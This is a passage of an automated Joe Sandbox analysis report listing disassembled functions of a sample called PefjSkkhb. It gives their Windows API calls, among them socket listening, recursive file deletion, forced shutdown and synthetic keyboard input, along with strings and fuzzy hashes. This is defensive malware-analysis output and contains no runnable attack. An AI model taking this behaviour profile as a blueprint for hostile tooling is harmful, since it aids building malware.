Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4047182710-1173974218
Opcode ID: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
Instruction ID: 5fe4999f39fa05dad17424cc0d5d07c2b1856940f6e76b1a87edac0d11824157
Opcode Fuzzy Hash: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
Instruction Fuzzy Hash: 74816822A58A4295EB10FF65E4401FDA760EB847A4FC41032EA8D877A5DF7CF589C7A0

Function 00007FF7C0EE3940 Relevance: 12.1, APIs: 8, Instructions: 116networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32 ref: 00007FF7C0EE39DA
WSAGetLastError.WSOCK32 ref: 00007FF7C0EE39EC
bind.WSOCK32 ref: 00007FF7C0EE3A3A
WSAGetLastError.WSOCK32 ref: 00007FF7C0EE3A44
closesocket.WSOCK32 ref: 00007FF7C0EE3A70
listen.WSOCK32 ref: 00007FF7C0EE3A7E
WSAGetLastError.WSOCK32 ref: 00007FF7C0EE3A94
closesocket.WSOCK32 ref: 00007FF7C0EE3AC0

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction ID: 8e3fdf581117b70edd47e6d6a6b58e7b1de5cfbfcd0b780de82f7ff31c1a5b0d
Opcode Fuzzy Hash: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction Fuzzy Hash: 8F419262A4CA4285EB10FF26944427DA760FB85FB4F844630DAAE87792DF3CF1418790

Function 00007FF7C0EE8360 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00007FF7C0EE8831
Not an Object type, xrefs: 00007FF7C0EE83EA

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
Instruction ID: 71a13d62303229e0dddcae8eb078674ca7b3eeba0e323233a36a1b68d6450bf0
Opcode Fuzzy Hash: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
Instruction Fuzzy Hash: 59E10732A08B8686EB10FF65D5402ADB7A0FB847A8F904236DE5D87B94DF3CE545C790

Function 00007FF7C0ECBC70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E556D4: GetFullPathNameW.KERNEL32(?,00007FF7C0E556C1,?,00007FF7C0E57A0C,?,?,?,00007FF7C0E5109E), ref: 00007FF7C0E556FF

Part of subcall function 00007FF7C0ECCED4: GetFileAttributesW.KERNEL32 ref: 00007FF7C0ECCED8

FindFirstFileW.KERNEL32 ref: 00007FF7C0ECBD09
DeleteFileW.KERNEL32 ref: 00007FF7C0ECBD5B
FindNextFileW.KERNEL32 ref: 00007FF7C0ECBD6D
FindClose.KERNEL32 ref: 00007FF7C0ECBD7F
FindClose.KERNEL32 ref: 00007FF7C0ECBD8A

Strings

\*.*, xrefs: 00007FF7C0ECBCD3

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 33faa39baa03be8120850797a18634ea376334063adf963c1f4e83021c640b6d
Instruction ID: ff6d0c1d7acbe0ef8c56aa684d261cb2fe790e9b87121310cb56d72af10abe11
Opcode Fuzzy Hash: 33faa39baa03be8120850797a18634ea376334063adf963c1f4e83021c640b6d
Instruction Fuzzy Hash: 9D417222A68A4292EA50FF10E4401EDE360FB94BA4FD41131EA5E87795DF7CE549CBA0

Function 00007FF7C0E8AF58 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7C0E8AFD1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7C0E8AFE9
RtlVirtualUnwind.KERNEL32 ref: 00007FF7C0E8B024
IsDebuggerPresent.KERNEL32 ref: 00007FF7C0E8B05D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7C0E8B067
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7C0E8B072

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
Instruction ID: 1a21e8a63ea69c222aecbd840d8f581e33ca1670810cee408dad5401e61b1abc
Opcode Fuzzy Hash: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
Instruction Fuzzy Hash: A131A632608B81C5D760EF25E8443AEB3A4FB84768F900136EA9D83B55DF3CD545CB50

Function 00007FF7C0EDA874 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118filesleepCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7C0EDA8F4
FindClose.KERNEL32 ref: 00007FF7C0EDAA15

Part of subcall function 00007FF7C0ED3824: GetInputState.USER32 ref: 00007FF7C0ED3889
Part of subcall function 00007FF7C0ED3824: PeekMessageW.USER32 ref: 00007FF7C0ED3938

Sleep.KERNEL32 ref: 00007FF7C0EDA939
FindNextFileW.KERNEL32 ref: 00007FF7C0EDAA00

Strings

*.*, xrefs: 00007FF7C0EDA8B3

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState
String ID: *.*
API String ID: 1927845040-438819550
Opcode ID: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
Instruction ID: ae71e301ff00ebb524f00510f65d6e956d789c117f0611f541e6169fba2b92d3
Opcode Fuzzy Hash: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
Instruction Fuzzy Hash: 2F519122648B9285EB10FF25E4541ADA360FB85BA8F980132DE4D83795DF38E645C7A0

Function 00007FF7C0EE4074 Relevance: 7.6, APIs: 5, Instructions: 148networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EE5E00: inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF7C0EE37FB), ref: 00007FF7C0EE5E4D

socket.WSOCK32 ref: 00007FF7C0EE40FC
WSAGetLastError.WSOCK32 ref: 00007FF7C0EE412D

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
Instruction ID: 8fcb20947775f482500273b7ac6690a953effd836551045079b33e7a77789a4c
Opcode Fuzzy Hash: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
Instruction Fuzzy Hash: 5F51C166B98A5281EB14FF16A404669AB90BB89FF4F848531DE5E87796CF3CF100C7D0

Function 00007FF7C0E8793C Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 262COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF7C0E87A8E

Strings

VUUU, xrefs: 00007FF7C0E87B5B
fmod, xrefs: 00007FF7C0E87A58
!, xrefs: 00007FF7C0E87A7A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _handle_error
String ID: !$VUUU$fmod
API String ID: 1757819995-2579133210
Opcode ID: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction ID: 7f45ce20f98e7b7819a0f6d909798568821e479282d3ae33dff828493771edea
Opcode Fuzzy Hash: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction Fuzzy Hash: 0CB11A21A1CFC445D6B79E3550113BAF259AFAA3A0F50C332D99E76BA0DF2CE5C28740

Function 00007FF7C0E92D20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E92D60

Part of subcall function 00007FF7C0E8B184: GetCurrentProcess.KERNEL32(00007FF7C0E8B21D), ref: 00007FF7C0E8B1B1

Strings

., xrefs: 00007FF7C0E931A7
*, xrefs: 00007FF7C0E92D87
., xrefs: 00007FF7C0E93198

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *$.$.
API String ID: 2518042432-2112782162
Opcode ID: 10686662bc6c287608bb1927b489f0d8a7225314f89d29ff6f04aab4d96db585
Instruction ID: 262715f442721d3a33634baef3f2f38cdf1aea8c8424c5b68a08be207437d820
Opcode Fuzzy Hash: 10686662bc6c287608bb1927b489f0d8a7225314f89d29ff6f04aab4d96db585
Instruction Fuzzy Hash: 7751C062B54A5585FF11FFA698501FDA3A4BB44BE8F944139CF0DA7B85DF38E04283A0

Function 00007FF7C0ECD750 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EBD5CC: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF7C0EBD630
Part of subcall function 00007FF7C0EBD5CC: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7C0EBD66F
Part of subcall function 00007FF7C0EBD5CC: GetLastError.KERNEL32 ref: 00007FF7C0EBD682

ExitWindowsEx.USER32 ref: 00007FF7C0ECD798
InitiateSystemShutdownExW.ADVAPI32 ref: 00007FF7C0ECD7C0
SetSystemPowerState.KERNEL32 ref: 00007FF7C0ECD7D2

Strings

SeShutdownPrivilege, xrefs: 00007FF7C0ECD763

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: System$AdjustErrorExitInitiateLastLookupPowerPrivilegePrivilegesShutdownStateTokenValueWindows
String ID: SeShutdownPrivilege
API String ID: 2163645468-3733053543
Opcode ID: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
Instruction ID: c102b67c5dedc8e54680f21602e1deb443d3e5cac297ac8799759b368bcfbae3
Opcode Fuzzy Hash: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
Instruction Fuzzy Hash: 7A119432B1C61282EB24FF25A44116EE251BF84760F894136E55DC3B99EF3DF845C790

Function 00007FF7C0E75BC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7C0E75C21
IsDebuggerPresent.KERNEL32 ref: 00007FF7C0E75C39
OutputDebugStringW.KERNEL32 ref: 00007FF7C0E75C4A

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF7C0E75C43

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction ID: 909eab922ae5fb43d7ff79ba5ef46924ea51332fe1106e22a14be2ce15c7737d
Opcode Fuzzy Hash: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction Fuzzy Hash: 7B116D32618B4296E705BF26D6553B9B3A4FB44765F804135C64D82B50EF7CF1A4C7A0

Function 00007FF7C0E56D64 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF7C0E56490), ref: 00007FF7C0E56D7B
GetProcAddress.KERNEL32(?,?,?,00007FF7C0E56490), ref: 00007FF7C0E56D93

Strings

Wow64DisableWow64FsRedirection, xrefs: 00007FF7C0E56D89
kernel32.dll, xrefs: 00007FF7C0E56D74

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
Instruction ID: 921b22b5fec56c3f86e490f0515c90a3f45b2751d4662d14c11a85a02e45b01f
Opcode Fuzzy Hash: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
Instruction Fuzzy Hash: 11E0C925A09F0681EB15AF21E41437863A5BB08B68FC40835C91D86350EFBCB594C390

Function 00007FF7C0EE6320 Relevance: 6.3, APIs: 4, Instructions: 255COMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF7C0EE635F
CoUninitialize.OLE32 ref: 00007FF7C0EE6369

Part of subcall function 00007FF7C0EC4860: CoCreateInstance.OLE32 ref: 00007FF7C0EC4931

Part of subcall function 00007FF7C0ED03E8: VariantInit.OLEAUT32 ref: 00007FF7C0ED0437
Part of subcall function 00007FF7C0ED03E8: VariantCopy.OLEAUT32 ref: 00007FF7C0ED0443
Part of subcall function 00007FF7C0ED03E8: VariantClear.OLEAUT32 ref: 00007FF7C0ED0450

VariantInit.OLEAUT32 ref: 00007FF7C0EE6373
VariantClear.OLEAUT32 ref: 00007FF7C0EE6690

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Variant$ClearInit$CopyCreateInitializeInstanceUninitialize
String ID:
API String ID: 2733932498-0
Opcode ID: a09277b6a6935f26de9d5b61002aef5de2559b3d5eb22cd3cc7460a06f749bcb
Instruction ID: b1feadbbc00cd78f00a48e344c65402671e34c20b6671cd451d39109fcda4dc8
Opcode Fuzzy Hash: a09277b6a6935f26de9d5b61002aef5de2559b3d5eb22cd3cc7460a06f749bcb
Instruction Fuzzy Hash: 49B18126B48B5681EB10FF26D4906ADA764FB48FE4F855432DE5E87796CF38E440C390

Function 00007FF7C0EEEB34 Relevance: 6.2, APIs: 4, Instructions: 156processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7C0EEEB92
Process32FirstW.KERNEL32 ref: 00007FF7C0EEEBA2
Process32NextW.KERNEL32 ref: 00007FF7C0EEEC9D
CloseHandle.KERNEL32 ref: 00007FF7C0EEECAE

Part of subcall function 00007FF7C0E71AD0: CompareStringW.KERNEL32 ref: 00007FF7C0E71B1F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32
String ID:
API String ID: 2000298826-0
Opcode ID: 5b1cc7803f552fdfb6a5c1b64286c224a353268d24a72ba4bd1cd77bb81f450c
Instruction ID: cc1449c6eb6cb67dfdccb3553317e88b0e8c9b41cd16cc631b1d40fca54052ff
Opcode Fuzzy Hash: 5b1cc7803f552fdfb6a5c1b64286c224a353268d24a72ba4bd1cd77bb81f450c
Instruction Fuzzy Hash: 5C716036A18B4586E700FF25E4443AEB3A1FB88B98F804132EA4D47769DF7CE545C790

Function 00007FF7C0EC8B38 Relevance: 6.1, APIs: 4, Instructions: 96keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF7C0EC8B98
SetKeyboardState.USER32 ref: 00007FF7C0EC8BB0
PostMessageW.USER32 ref: 00007FF7C0EC8C21
SendInput.USER32 ref: 00007FF7C0EC8C80

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
Instruction ID: e25ca4bbc9e2a099d306a1bb30e901b8a0ce5003a5b6631cb01e295a785eaf02
Opcode Fuzzy Hash: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
Instruction Fuzzy Hash: FE412B61A4D68241F730BF219610A7AE6A0FB44BB4F941131EA9A537D4CF3EF981C7B1

Function 00007FF7C0ED6428 Relevance: 4.6, APIs: 3, Instructions: 116fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7C0ED6464
FindNextFileW.KERNEL32 ref: 00007FF7C0ED64B9
FindClose.KERNEL32 ref: 00007FF7C0ED64FB

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
Instruction ID: c40960733d27e08e5827c89f295afc26a4e1c8c422959b332027e480aa7aa1b0
Opcode Fuzzy Hash: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
Instruction Fuzzy Hash: 80518A32648B4685EB14FF25E0842ACB764FB84BA4F844632CA5E837A5CF7CE591C760

Function 00007FF7C0ED57B0 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF7C0ED57D0
GetDiskFreeSpaceExW.KERNEL32 ref: 00007FF7C0ED5846
SetErrorMode.KERNEL32 ref: 00007FF7C0ED58A6

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

